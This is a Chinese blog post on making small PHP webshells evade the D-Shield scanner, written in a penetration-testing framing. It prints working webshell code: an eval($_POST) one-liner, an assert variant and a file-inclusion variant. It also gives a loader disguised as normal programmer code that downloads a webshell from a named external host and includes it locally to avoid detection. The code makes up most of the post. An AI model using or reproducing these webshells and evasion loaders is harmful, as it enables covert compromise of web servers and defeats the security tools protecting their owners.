zoukankan      html  css  js  c++  java
  • 浅谈PHP小马免杀

    在渗透测试过程初期,上传小马,拿到 webshell 再进行下一步的操作,现如今的网站安全更多是

    一些云防护、CDN防护、服务器安全软件等等,给渗透测试、提权等带来了一定难度的提升,

    今天探讨一下如何做PHP小马的免杀。

    小马:体积、代码量比较小的webshell文件,一般借助“中国菜刀”、蚁剑等 shell 链接工具,进行进一步的渗透测试

    小马因为代码小,显得更加灵活。就像行军打仗的侦察兵、卧底,里应外合,最后攻下城池

    今天的PHP代码免杀,主要是针对D盾

    下载了一个最新版的D盾:http://www.d99net.net/

    0x01 常见的小马

    <?php @eval($_POST['x']); ?>

    上述代码可能是大家见过最普通的小马文件了,体积小

    但是基本上过不了任何装有了 WAF 或者安全软件的检测

    刚在本地编写一个,结果就被 win10 自带的 defender 给杀了,可见其有多弱~

     

    到D盾检查一下:

    爆了5级危险

    由此可见,这种精简的小马,已经不再适合当下互联网环境

     

    0x02 初步尝试

    既然eval()函数无法使用,我们尝试其他的可执行命令的函数呐?

    更换assert()函数

    同样被检测为高危了,由此,这种更换其他函数的方式,实则换汤不换药,如此免杀小马,肯定是不可行的。

    还有别的方法吗?

     

    0x02 从开发者角度思考问题

    为什么 PHP 或者其他编程语言当中,会出现这些“危险高权限”函数,因为开发者需要,如果都被安全软件拦截了,那么开发人员又该如何去实现自己的功能呐?

    其实,我们免杀的过程就是要从开发者会犯的错误入手,这些看上去符合正常业务逻辑的程序,也可能隐藏着可突破杀软拦截的方法。

     

    文件包含

    从文件包含入手

    <?php
        $file = isset($_GET['file'])?trim($_GET['file']):'<?php @assert($_POST["x"]);?>';
        require_once($file);
    ?>

    再来看看,D盾的拦截提示:

    3级危险提示,可疑的引用

    因为是引用文件,所以提示了可疑

     

    2.2 假装自己是个程序员

    仔细一琢磨,哪家的程序员会这样写代码,连函数都没有!!!

    幻想自己现在是一名正在加班熬夜写 BUG 的程序猿

    那么,我们再写个函数

    <?php
        error_reporting(0);
        /**
        * DYBOY写的BUG,通过获取远程小马的代码
        **/
        function httpGET($target_url, $get_data = array()){
            $result = file_get_contents($target_url);
            file_put_contents('../xiaoma.txt', $result);    //windows本地环境特殊,使用相对路径,linux可以使用“/”即网站根目录
            return TRUE;
        }
    
        $r_file = httpGET('http://www.top15.cn/content/uploadfile/201908/7b9c1566231060.txt');
        require_once('../xiaoma.txt');
    ?>

    继续优化

    和安全似乎有点无关了,本人觉得上面的代码,每次都要去远程获取文件,这种行为是不够优雅的

    因此增加一个判断文件是否已存在,增强变量名可读性

    <?php
        error_reporting(0);
        /**
        * DYBOY写的BUG,通过获取远程小马的代码
        **/
        $file_path_name = '../xiaoma.txt';
    
        function httpGET($target_url, $get_data = array()){
            $content = file_get_contents($target_url);
            file_put_contents($file_path_name, $content);    //windows本地环境特殊,使用相对路径,linux可以使用“/”即网站根目录
            return TRUE;
        }
    
        if(!file_exists($file_path_name)){
            httpGET('http://www.top15.cn/content/uploadfile/201908/7b9c1566231060.txt');
        }
    
        require_once($file_path_name);
    ?>

    关于为什么不直接读取远程文件的问题,读取远程文件需要 php.ini 中设置 allow_url_include=On;一般来讲,PHP 默认此属性关闭,也很少会有网站会开启此功能,因此将远程文件先下载到本地,再利用 LFI(本地文件包含)方式执行任意代码!

    总结

    其实脚本的免杀非常灵活,任何的防护软件都得保证程序的基本功能,因此在权衡是正常程序还是异常程序这个点上,单纯的脚本防护能力还是比较弱的

    在对攻击进行拦截的方法中,基于攻击大数据训练出来的攻击识别模型,或许才是下一代防火墙要做的事情,不少的 CDN 云防护产品正是基于此

    在云防护的保障下,同样要坚信,安全无绝对,面对多维度的攻击,云防护也并不是无懈可击。

     

  • 相关阅读:
    从MSFT Project中同步数据到PSA
    TracingService. 码农debug的救星
    Business Workflow Flow 最后一个stage阶段触发Exist
    BPF form 中的readonly 只读字段自动unblock
    Windows Server 使用fiddler中抓取IIS的请求
    Dynamics 365 CE 的快捷键 Shortcut
    Dynamics 365 online 服务器保护机制 server limitation
    在后端C#中 call web api 关联lookup 和 GUID
    PSA 需要 Sales Order中 读取的最低权限 read minimal privilege
    python学习笔记10:分析程序性能cProfile
  • 原文地址:https://www.cnblogs.com/M0rta1s/p/11503480.html
Copyright © 2011-2022 走看看